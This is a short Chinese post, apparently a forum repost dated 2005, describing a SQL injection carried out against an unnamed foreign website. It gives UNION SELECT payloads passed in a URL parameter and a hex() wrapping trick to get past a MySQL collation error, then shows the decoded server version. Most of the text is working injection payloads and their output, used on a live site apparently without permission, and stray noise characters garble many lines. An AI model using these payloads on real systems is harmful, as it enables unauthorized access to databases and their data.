本文作者:SuperHei; L2 x/ ^* b, V- Q
文章性质:原创
+ c% ]2 P4 v7 [! U& [4 V" X发布日期:2005-10-18- ^ A) l! r I: ]
测试个国外的站时:5 i; B E2 p9 C V3 [9 N6 _6 B
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
. X$ f: A# p* o1 n返回错误:
! [ l( U6 }3 y& J7 {4 |; S+ R9 X9 DIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
3 i/ @) m: E) e+ ~1 g: wMySQL Error No. 126/ d9 r! V# ~0 E! {9 A: Q
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。$ g ~2 K# i1 [5 l
解决办法:转为其他编码如hex。1 P- ?% P. ~) ]( \
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
) h" u, u7 @4 B成功得到hex(version())的值为:! A9 b/ h9 [3 c7 f+ ]$ N- q# W
342E312E332D62657461
) ?7 D( F# H5 l" `回Mysql查询下得到:
4 j7 R0 ~* ~ o+ h2 p" omysql> select 0x342E312E332D62657461;
. R' M% a% e1 m+------------------------+
2 I3 b+ o& I' |1 ?7 X, l| 0x342E312E332D62657461 |
; @: R) s0 `* s5 n- k+------------------------+% C4 N' ?1 y8 k2 Q6 [. l; T, e X( I5 L
| 4.1.3-beta |0 o$ Z! s- r* O9 K1 f4 i
+------------------------+
3 S% l2 n! \2 H1 row in set (0.00 sec)7 }* T8 V( `7 B) D$ |7 E
6 ]2 Y: K" p" x; d6 C5 _
|